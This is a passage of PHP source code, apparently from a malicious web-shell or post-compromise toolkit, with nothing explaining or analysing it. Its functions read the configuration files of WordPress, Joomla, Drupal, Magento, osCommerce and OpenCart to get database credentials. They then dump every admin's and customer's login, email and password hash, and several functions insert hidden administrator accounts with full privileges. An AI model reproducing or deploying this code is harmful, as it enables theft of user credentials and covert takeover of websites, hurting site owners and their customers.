$tbl_preffix="";
$uri="";
$roletbl="";
if(stristr($cont,"'host' =>"))
{
preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
if(is_array($matchdbs))
{
foreach($matchdbs[0] as $matchdb )
{
if(stristr($matchdb,"password"))
{
preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"database"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
break;
}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri= unserialize(trim($row[0]));
}
$ErrorMsg = "";
$result2 = mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg = mysql_error();
if ($ErrorMsg)
{
$ErrorMsg = "";
$result2 = mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users_field_data", $con_mss) or $ErrorMsg = mysql_error();
}
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[2])){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
function getOSCUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$ErrorMsg = "";
$result2 = mysql_query ("SELECT user_name,user_password FROM administrators", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[1])){
$usrArray[] = $row[0].":".$row[1];
}
}
$result2 = mysql_query ("SELECT customers_email_address,customers_password FROM customers", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[1])){
$usrArray[] = "customer".$row[0].":".$row[1];
}
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
}
}
}
function setOSCUser($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT user_name,user_password FROM administrators where user_name='$u_name' or user_password='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[0]==$u_name&&$row[1]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[1]==$pass)
{
$otheruser = $row;
} else if($row[0]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
function getOPUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PREFIX"))
{$db_preffix=$matches[4][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$ErrorMsg = "";
$result2 = mysql_query ("SELECT username,password,salt FROM ".$db_preffix."user", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[1])){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
}
$result2 = mysql_query ("SELECT email,password,salt FROM ".$db_preffix."customer", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[1])){
$usrArray[] = "customer:".$row[0].":".$row[1].":".$row[2];
}
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
}
}
}
function setOPCUser($cont,$u_name,$pass,$salt)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PREFIX"))
{$db_preffix=$matches[4][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT username,password,salt FROM ".$db_preffix."user where username='$u_name' or password='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[0]==$u_name&&$row[1]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[1]==$pass)
{
$otheruser = $row;
} else if($row[0]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$dateAdd =date_create()->format('Y-m-d H:i:s') ;
$insusrquery = mysql_query ("INSERT INTO ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1',$dateAdd) ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1',$dateAdd) ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
function setWPUserI($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_NAME"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_user"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_host"))
{$db_host=$matches[4][$i];}
}
if(!empty($db_name))
{
preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
if(is_array($mpreffix)&&count($mpreffix)==3)
{$tbl_preffix=$mpreffix[2];}
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl'");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["option_value"];
$result->close();
}
$result=$mysqli->query("SELECT ID,user_login,user_pass FROM ".$tbl_preffix."users where user_login='$u_name' or user_pass='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["user_pass"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["user_login"],"pass"=>$pass) ;
} else if($row["user_login"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name@gmail.com','$u_name') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name@gmail.com','$u_name') ");
}
}
if($insusrquery)
{
$result=$mysqli->query("SELECT ID FROM ".$tbl_preffix."users where user_login='$u_name' AND user_pass='$pass' ");
if($result)
{
$row = $result->fetch_assoc();
$usrdID=$row["ID"];
if($usrdID>0)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."usermeta (user_id,meta_key,meta_value) VALUES($usrdID,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}') ");
if($insusrquery)
{
$mysqli->close();
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
function setJMUserI($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"\$db "))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$user "))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$host"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$dbprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$sitename"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT id,username,password FROM ".$tbl_preffix."users where username='$u_name' or password='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["password"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
} else if($row["username"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ");
}
}
if($insusrquery)
{
$result=$mysqli->query("SELECT id FROM ".$tbl_preffix."users where username='$u_name' AND password='$pass' ");
if($result)
{
$row = $result->fetch_assoc();
$usrdID=$row["id"];
if($usrdID>0)
{
$adminID=7;
$result=$mysqli->query("SELECT id FROM ".$tbl_preffix."usergroups where title LIKE '%administrator%' ");
if($result)
{
$row = $result->fetch_assoc();
$adminID=$row["id"];
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user_usergroup_map (user_id,group_id) VALUES($usrdID,$adminID) ");
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
function setMGUserI($cont,$u_name,$pass,$ismg2)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(!$ismg2&&stristr($cont,"<?xml version"))
{
$dbdata = new SimpleXMLElement($cont);
$db_name = $dbdata->global->resources->default_setup->connection->dbname;
$db_user = $dbdata->global->resources->default_setup->connection->username;
$db_pass = $dbdata->global->resources->default_setup->connection->password;
$db_host= $dbdata->global->resources->default_setup->connection->host;
$tbl_preffix=$dbdata->global->resources->db->table_prefix;
} elseif($ismg2&&stristr($cont,"'host' =>"))
{
//'host' => 'localhost',
preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"dbname"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"table_prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$uri="";
$result=$mysqli->query("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ");
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["value"];
}
$result=$mysqli->query("SELECT user_id,username,password FROM ".$tbl_preffix."admin_user where username='$u_name'or password='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["password"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
} else if($row["username"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','$u_name@gmail.com','$u_name','$pass',0,1,'N;') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','$u_name@gmail.com','$u_name','$pass',0,1,'N;') ");
}
}
if($insusrquery)
{
if(!$ismg2){
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),'$u_name')") ;
} else
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."authorization_role (parent_id,tree_level,sort_order,role_type,user_id,user_type,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),2,'$u_name')");
}
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
function setDPUserI($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(stristr($cont,"'host' =>"))
{
preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
if(is_array($matchdbs))
{
foreach($matchdbs[0] as $matchdb )
{
if(stristr($matchdb,"password"))
{
preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"database"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
break;
}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["value"];
$result->close();
}
$ErrorMsg = "";
$isD8 = false;
$result=$mysqli->query("SELECT uid,name,pass FROM ".$tbl_preffix."users where name='$u_name' or pass='$pass' ");
$ErrorMsg = $mysqli->error;
if ($ErrorMsg)
{
$isD8 = true;
$ErrorMsg = "";
$result=$mysqli->query("SELECT uid,name,pass FROM ".$tbl_preffix."users_field_data where name='$u_name' or pass='$pass' ");
}
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["pass"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["name"],"pass"=>$pass) ;
} else if($row["name"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
if($isD8)
{
$result=$mysqli->query("SELECT MAX(uid) as uid FROM ".$tbl_preffix."users_field_data");
} else
{
$result= $mysqli->query("SELECT MAX(uid) as uid FROM ".$tbl_preffix."users");
}
$prevuid=256;
if($result)
{
$row = $result->fetch_assoc();
$prevuid = $row["uid"]+1;
}
if ($isD8)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ");
}
}
if($insusrquery)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user__roles (bundle,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',$prevuid,1,'en',0,'administrator') ");
$uuidd = sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (uid,uuid,langcode) VALUES ($prevuid,'".$uuidd."','en') ");
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
else
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (uid,name,pass,status,init,data) VALUES ($prevuid,'$u_name','$pass',1,'1','b:0;') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,pass,init,data) VALUES ('$u_name','$pass','1','b:0;') ");
}
}
if($insusrquery)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."role (name,weight) VALUES ('$u_name',2) ") ;
if($insusrquery)
{
$result = $mysqli->query("SELECT rid FROM ".$tbl_preffix."role where name='$u_name' ");
if($result)
{
$row = $result->fetch_assoc();
$rid= $row["rid"];
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."role_permission (rid,permission,module) VALUES ($rid,'access administration pages','system'),($rid,'access site in maintenance mode','system'),($rid,'access user profiles','user'),($rid,'administer actions','system'),($rid,'administer blocks','block'),($rid,'administer modules','system'),($rid,'administer permissions','user'),($rid,'administer site configuration','system'),($rid,'administer themes','system'),($rid,'administer users','user')");
if($insusrquery)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_roles (uid,rid) VALUES ((SELECT uid FROM ".$tbl_preffix."users WHERE name = '$u_name'),$rid) ");
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
} }
}
}
function getWPUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_NAME"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_user"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_host"))
{$db_host=$matches[4][$i];}
}
if(!empty($db_name))
{
preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
if(is_array($mpreffix)&&count($mpreffix)==3)
{$tbl_preffix=$mpreffix[2];}
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result = $mysqli->query("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["option_value"];
$result->close();
}
$result2 = $mysqli->query("SELECT user_login,user_email,user_pass FROM ".$tbl_preffix."users");
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["user_login"].":".$row["user_email"].":".$row["user_pass"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function getJMUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"\$db "))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$user "))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$host"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$dbprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$sitename"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$ErrorMsg = "";
$result2 = $mysqli->query("SELECT username,email,password FROM ".$tbl_preffix."users") ;
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["username"].":".$row["email"].":".$row["password"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function getMGUserI($cont,$ismg2)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(!$ismg2&&stristr($cont,"<?xml version"))
{
$dbdata = new SimpleXMLElement($cont);
$db_name = $dbdata->global->resources->default_setup->connection->dbname;
$db_user = $dbdata->global->resources->default_setup->connection->username;
$db_pass = $dbdata->global->resources->default_setup->connection->password;
$db_host= $dbdata->global->resources->default_setup->connection->host;
$tbl_preffix=$dbdata->global->resources->db->table_prefix;
} elseif($ismg2&&stristr($cont,"'host' =>"))
{
//'host' => 'localhost',
preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"dbname"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"table_prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result = $mysqli->query("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["value"];
$result->close();
}
$result2 = mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."admin_user");
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["user_login"].":".$row["user_email"].":".$row["user_pass"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
function getDPUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(stristr($cont,"'host' =>"))
{
preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
if(is_array($matchdbs))
{
foreach($matchdbs[0] as $matchdb )
{
if(stristr($matchdb,"password"))
{
preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"database"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
break;
}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result = $mysqli->query("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = unserialize($row["value"]);
$result->close();
}
$result2 = $mysqli->query("SELECT name,mail,pass FROM ".$tbl_preffix."users");
